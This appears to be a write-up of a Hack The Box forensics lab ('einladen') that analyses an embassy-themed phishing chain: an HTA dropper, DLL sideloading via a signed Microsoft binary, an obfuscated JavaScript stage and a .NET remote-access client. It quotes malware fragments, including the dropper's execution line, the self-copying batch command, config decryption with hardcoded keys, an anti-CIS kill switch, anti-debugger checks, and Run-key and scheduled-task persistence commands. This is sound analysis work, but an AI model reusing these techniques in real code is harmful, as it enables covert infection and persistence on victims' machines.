einladen
![]() | Released | 2023-11-13 |
Retired | 2024-04-04 | |
Author | thewhitefriday |
Scenario
Task 01
Question: The victim visited a web page. The HTML file of the web page has been provided as ‘downloader.html’ sample file.The web page downloads a ZIP file named ‘Invitation_Farewell_DE_EMB.zip’. What is the SHA-256 hash of the ZIP file?
To get an overview of the provided artifacts, you can take a look at the contents of the archive using 7z l .\einladen.zip
.
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-07-28 07:25:06 ..... 2560 782 AppVIsvSubsystems64.dll
2023-08-12 18:46:17 ..... 300159 111531 downloader.html
2023-08-30 05:05:52 ..... 62976 30363 EmpireClient.exe
2023-07-28 07:25:27 ..... 301270 91067 Invitation_Farewell_DE_EMB.hta
2023-08-30 11:04:12 ..... 83855 83867 Invitation_Farewell_DE_EMB.zip
2023-07-28 07:25:06 ..... 25170 20675 Invitation.pdf
2023-08-16 18:07:46 ..... 15310453 2307057 Logfile.PML
2023-07-28 07:25:06 ..... 33280 15098 mso.dll
2023-07-28 07:25:06 ..... 60320 23537 msoev.exe
2023-08-16 18:04:12 ..... 54100 15943 msoev.pcapng
2023-08-09 17:26:56 ..... 2779156 1073333 sheet.hta
2023-08-30 05:04:47 ..... 177938 71099 unc.js
------------------- ----- ------------ ------------ ------------------------
2023-08-30 11:04:12 19191237 3844352 12 files
One of the listed files is the desired Invitation_Farewell_DE_EMB.zip
- after successfully extracting it, you can generate the required checksum using the Get-FileHash
cmdlet.
Get-FileHash .\Invitation_Farewell_DE_EMB.zip | Select-Object Hash
Hash
----
5D4BF026FAD40979541EFD2419EC0B042C8CF83BC1A61CBCC069EFE0069CCD27
Answer: 5D4BF026FAD40979541EFD2419EC0B042C8CF83BC1A61CBCC069EFE0069CCD27
Task 02
Question: The downloaded ZIP file contains a HTA file, which creates multiple files. One of those files is a signed fileby Microsoft Corporation. In HTA file, which variable’s value was the content of that signed file?
The corresponding archive contains the Invitation_Farewell_DE_EMB.hta
file. This HTML Application file is a program whose source code consists of HTML and one or more scripting languages such as VBScript or JScript. While regular HTML files are opened in a browser and are restricted by its sandbox constraints, an HTA file is considered a trusted application. It is executed via mshta.exe
and can therefore interact directly with the system. In this case, the HTA file contains several variables (mso
, msoev
, app
, pdf
) whose contents are written to corresponding files using new ActiveXObject("Scripting.FileSystemObject")
.
| Variable | Filepath |
|----------|------------------------------------------|
| mso | C:\windows\tasks\mso.dll |
| msoev | C:\windows\tasks\msoev.exe |
| app | C:\windows\tasks\AppVIsvSubsystems64.dll |
| pdf | .\Invitation.pdf |
These extracted files were already included in the initial archive (see Task 01), so they do not need to be written independently. The signature of the files can be verified using the Get-AuthenticodeSignature
cmdlet; only one of these four files has a certificate:
(Get-AuthenticodeSignature .\msoev.exe).SignerCertificate.Subject
CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
At the end of the HTA file, after all files have been exported, the previously written file msoev.exe
is additionally executed.
<script language="vbscript">
CreateObject("WScript.Shell").Exec "C:\\windows\\tasks\\msoev.exe"
</script>
Answer: msoev
Task 03
Question: The threat actor was acting as an embassy of a country. Which country was that?
A look at the provided PDF file Invitation.pdf
reveals the delivered decoy document and answers this question.
Answer: Germany
Task 04
Question: The malware communicated with a chatting platform domain. What is the domain name (inclusive of sub domain) the malware connects to?
To analyze the malicious traffic generated by the malware, the artifact archive also includes a .pcapng
file. This file is a capture of network traffic that allows you to trace and analyze every single request. It can be opened with tools like Wireshark, where you can perform relevant queries. To filter all DNS queries for A records (and thus obtain the requested domain names), a simple filter on dns.a
is sufficient.
Answer: toyy.zulipchat.com
Task 05
Question: How many DNS A records were found for that domain?
The answer to this question, and thus the listed A records, are already visible in the output from Task 04. They become even clearer by expanding the corresponding frame.
Answer: 6
Task 06
Question: It seems like the chatting service was running on a very known cloud service using a FQDN, where the FQDN contains the IP address of the chatting domain in reversive format somehow. What is the FQDN?
When inspecting the network traffic capture for contacts with the IP addresses from the DNS A records, Wireshark directly resolves these addresses to their corresponding hostnames.
Answer: ec2-35-171-197-55.compute-1.amazonaws.com
Task 07
Question: What was the parent PID (PPID) of the malware?
As an additional artifact alongside the malicious files and the network traffic capture, there is also a Logfile.PML
which is a Process Monitor log file.
Using the Process Tree
tool in Process Monitor, this log file provides an overview of the executed processes and their relationships. In the case of the executed malware, it shows that the targeted msoev.exe
process was spawned directly under explorer.exe
. However, the image path shown here is C:\Users\TWF\Desktop\msoev.exe
. My assumption is that during the creation of the challenge, the malware was manually executed by double-clicking the EXE file located there, rather than through the previously shown execution of the .hta
document. In that case, the file path would have been C:\Windows\Tasks\msoev.exe
and the parent would not have been explorer.exe
but mshta.exe
.
Answer: 4156
Task 08
Question: What was the computer name of the victim computer?
In the previous screenshot of the Process Tree tool, the computer name is also visible.
Answer: DESKTOP-O88AN4O
Task 09
Question: What was the username of the victim computer?
The same applies to the username; it can also be read from several locations in the previous screenshot.
Answer: TWF
Task 10
Question: How many times were the Windows Registry keys set with a data value?
Utilizing the log file, a filter can be applied on the RegSetValue
operation to display only events that involve setting a new value.
Answer: 11
Task 11
Question: Did the malicious mso.dll load by the malware executable successfully?
By limiting the events to only Show Process and Thread Activity
, it is possible to check which images were loaded into the process, which threads were started, and how long they ran. In addition to some regular System32 DLLs, the targeted mso.dll
(also located on the Desktop) is successfully loaded.
Answer: yes
Task 12
Question: The JavaScript file tries to write itself as a .bat file. What is the .bat file name (name+extension) it tries to write itself as?
A look inside the artifact archive reveals a .js
file, which, during the regular execution of the malware, is apparently downloaded and placed by the DLL (see possibly the TLS stream in the network capture). In this write-up, only the provided JavaScript file is examined, and the method by which it arrives on the system is not further discussed, as the C2 communication likely took place in real time via a chatroom that cannot be replicated within the scope of this Sherlock. For a deeper investigation into the underlying APT attack, refer to blog posts such as this one by EclecticIQ, which covers the campaign targeting NATO ministries.
This is an obfuscated file in which simple obfuscation mechanisms are used to inflate the file and make it unreadable through additions that are not required during malware execution. However, by reversing these mechanisms, a significant amount of information can still be extracted from the file, allowing the command to copy the file to be reconstructed. Roughly executed, the JavaScript creates a dictionary adviserake
in which various characters are assigned to different keys. Then, legitimate commands are assembled by concatenating the values utilizing this keys.
adviserake=];adviserake['lettersmatter']='n';adviserake['fantasticporter']='k';adviserake['soggyyoke']='s';adviserake['outgoingchilly']='l';adviserake['odddetect']='m';adviserake['countfield']='c';adviserake['acceptfour']='u';adviserake['debtahead']='z';adviserake['scaredmany']='g';adviserake['commondiscussion']='v';adviserake['awesomelikeable']='d';adviserake['steppretend']='x';adviserake['ancienttumble']='f';adviserake['balanceterrify']='j';adviserake['dividegiraffe']='q';adviserake['laughablepancake']='e';adviserake['pigutopian']='i';adviserake['gunarrange']='h';adviserake['preachmaniacal']='y';adviserake['sickgrass']='o';adviserake['campshrill']='a';adviserake['lineshake']='t';adviserake['phobicscarf']='w';adviserake['faceelite']='r';adviserake['attemptpassenger']='p';adviserake['looselighten']='b';
After evaluating all keys and concatenating the values, a simple WScript.Shell
command is formed to copy the file using cmd to %temp%\richpear.bat
(which evaluates to AppData\Local\Temp
for the executing user) and executing this file.
return this'['WScript']"CreateObject"'WScript.Shell'['run']cmd /k copy['WScript']['ScriptFullName']'" "%temp%\\\\richpear.bat" && "%temp%\\\\richpear.bat
Answer: richpear.bat
Task 13
Question: The JavaScript file contains a big text which is encoded as Base64. If you decode that Base64 text and write its content as an EXE file. What will be the SHA256 hash of the EXE?
In addition to the previously executed WScript (run via mshta or similar), on subsequent execution, the embedded base64-encoded block is executed as richpear.bat
via CMD. This block contains an executable whose hash can be determined after exporting and decoding.
Get-FileHash '.\extracted.exe' | Select-Object Hash
Hash
----
DB84DB8C5D76F6001D5503E8E4B16CDD3446D5535C45BBB0FCA76CFEC40F37CC
Answer: DB84DB8C5D76F6001D5503E8E4B16CDD3446D5535C45BBB0FCA76CFEC40F37CC
Task 14
Question: The malware contains a class Client.Settings which sets different configurations. It has a variable ‘Ports’ where the value is Base64 encoded. The value is decrypted using Aes256.Decrypt. After decryption, what will be its value (the decrypted value will be inside double quotation)?
The exported .exe
file appears to be the same EmpireClient.exe
that was also included in the initial artifact archive (based on matching SHA256 checksum). A quick inspection of the file using PEstudio reveals that it is a 32-bit .NET executable. For further analysis, tools like dnSpy can be used to decompile it. The goal is to identify the ports that are stored in encrypted form in the Client.Settings
variable Ports
. To decrypt them, the rest of the program flow can be analyzed and used as reference.
public static string Ports = "Yhc6k+R99kweya1xRMDhAdRjrYVuSxpgA2Lefoj5KOsbK3OcJtOpNfDubKUTCiWHoVrnnwqj70kyfYTLboawyVxN0W+L/MRchSITSNbbgXE=";
[...]
public static string Key = "d0cyOFJwZlBBSXBnalhEVFd2bEdiVHRkQnpybnRBeVM=";
For this purpose, the Decrypt(byte[] input)
function in Client.Algorithm.Aes256
is used to decrypt the settings. During initialization, a hardcoded salt and master key are used. With knowledge of these two values and the custom AES decryption function, the encrypted Ports
setting can be decrypted accordingly.
public Aes256(string masterKey)
{
if (string.IsNullOrEmpty(masterKey))
{
throw new ArgumentException("masterKey can not be null or empty.");
}
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000))
{
this._key = rfc2898DeriveBytes.GetBytes(32);
this._authKey = rfc2898DeriveBytes.GetBytes(64);
}
}
[...]
public byte[] Decrypt(byte[] input)
{
if (input == null)
{
throw new ArgumentNullException("input can not be null.");
}
byte[] array6;
using (MemoryStream memoryStream = new MemoryStream(input))
{
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.KeySize = 256;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = this._key;
using (HMACSHA256 hmacsha = new HMACSHA256(this._authKey))
{
byte[] array = hmacsha.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
byte[] array2 = new byte[32];
memoryStream.Read(array2, 0, array2.Length);
if (!this.AreEqual(array, array2))
{
throw new CryptographicException("Invalid message authentication code (MAC).");
}
}
byte[] array3 = new byte[16];
memoryStream.Read(array3, 0, 16);
aesCryptoServiceProvider.IV = array3;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] array4 = new byte[memoryStream.Length - 16L + 1L];
byte[] array5 = new byte[cryptoStream.Read(array4, 0, array4.Length)];
Buffer.BlockCopy(array4, 0, array5, 0, array5.Length);
array6 = array5;
}
}
}
return array6;
}
[...]
private static readonly byte[] Salt = new byte[]
{
191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
57, 65
};
CyberChef can be used for this decryption. However, since both the key and IV for AES decryption must first be derived, the process can be broken into multiple steps with manual intermediate storage of the outputs (edit: registers can be used too, check this awesome video by 0xdf)
- The PBKDF2 key can be created via
Derive PBKDF2 key
recipe using thed0cyOFJwZlBBSXBnalhEVFd2bEdiVHRkQnpybnRBeVM
Passphrase, Key size 256, 50000 Iterations and the hardcoded Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
resulting in key:ab861f9c943d7721c0550990f56a5a949bf37ad0e8972b9fb7e0c2f344118e93
- As part of the decryption process, the first 32 bytes are used to verify the integrity and authenticity of the data using HMACSHA256. Therefore these 32 bytes can be ignored for the actual decryption process afterwards (via Drop Bytes recipe 0->64) resulting in the remaining data being
1b2b739c26d3a935f0ee6ca5130a2587a15ae79f0aa3ef49327d84cb6e86b0c95c4dd16f8bfcc45c85221348d6db8171
. - 16 bytes (
1b2b739c26d3a935f0ee6ca5130a2587
) are used as IV inCBC
mode decryption of the remaining data
Answer: 666,777,111,5544
Task 15
Question: The malware sends a HTTP request to a URI and checks the country code or country name of the victim machine. To which URI does the malware sends request for this?
In another function of the executable, Client.Helper.GetSNG()
, the affiliation of the host system is checked. The goal is to ensure that the infected system does not belong to the СНГ (SNG), the Commonwealth of Independent States (CIS). For this, a request is sent to http://ip-api.com/json/
in the functions GetCountryCode()
and GetCountryName()
, and the response is filtered for the fields countryCode
and country
.
public static string GetCountryCode()
{
string text = "http://ip-api.com/json/";
string text2 = string.Empty;
try
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text);
httpWebRequest.Method = "GET";
httpWebRequest.ContentType = "application/json";
Answer: http://ip-api.com/json/
Task 16
Question: After getting the country code or country name of the victim machine, the malware checks some country codes and a country name. In case of the country name, if the name is matched with the victim machine’s country name, the malware terminates itself. What is the country name it checks with the victim system?
The functionality to terminate the malware on systems that match the targeted countries is located, as previously mentioned in Task 15, in the GetSNG()
function.
public static void GetSNG()
{
string countryCode = Antisng.GetCountryCode();
string countryName = Antisng.GetCountryName();
if (countryCode == "RU" || countryCode == "AZ" || countryCode == "AM" || countryCode == "BY" || countryCode == "KZ" || countryCode == "KG" || countryCode == "MD" || countryCode == "TJ" || countryCode == "TM" || countryCode == "UZ" || countryName == "Russia")
{
Environment.Exit(0);
}
}
Answer: Russia
Task 17
Question: As an anti-debugging functionality, the malware checks if there is any process running where the process name is a debugger. What is the debugger name it tries to check if that’s running?
Placeholder: ****y
In addition to checking for specific countries, further security measures are implemented to ensure that the malware is not running in a debugger, thereby complicating analysis. For this purpose, the Client.Helper.Anti_Analysis
class contains the function RunAntiAnalysis()
:
public static void RunAntiAnalysis()
{
if (Anti_Analysis.DetectManufacturer() || Anti_Analysis.DetectDebugger() || Anti_Analysis.DetectSandboxie() || Anti_Analysis.IsSmallDisk() || Anti_Analysis.IsXP() || Anti_Analysis.IsProcessRunning("dnSpy") || Anti_Analysis.CheckWMI())
{
Environment.FailFast(null);
}
}
Answer: dnSpy
Task 18
Question: For persistence, the malware writes a Registry key where the registry key is hardcoded in the malware in reversed format. What is the registry key after reversing?
As part of the NormalStartup
class in the Client.Install
namespace, the Install()
function establishes one of two different persistence mechanisms. The method chosen depends on whether the executing user has administrative privileges:
- If the user is an administrator, a scheduled task is created to run the executable at each logon
- If the user is not an administrator, a Run key entry is added to the registry instead. The registry path for this key is stored in reversed form within the malware.
else
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Strings.StrReverse("\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
{
if (registryKey != null)
{
registryKey.SetValue(Path.GetFileNameWithoutExtension(text), "\"" + text + "\"");
}
}
}
Answer: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
Task 19
Question: The malware sets a scheduled task. What is the Run Level for the scheduled task/job it sets?
Placeholder: ******t
If the executing user is an administrator, a scheduled task is created instead, which runs the file automatically.
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = string.Concat(new string[]
{
"/c schtasks /create /f /sc onlogon /rl highest /tn \"",
Path.GetFileNameWithoutExtension(text),
"\" /tr \"",
text,
"\" & exit"
}),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
Answer: highest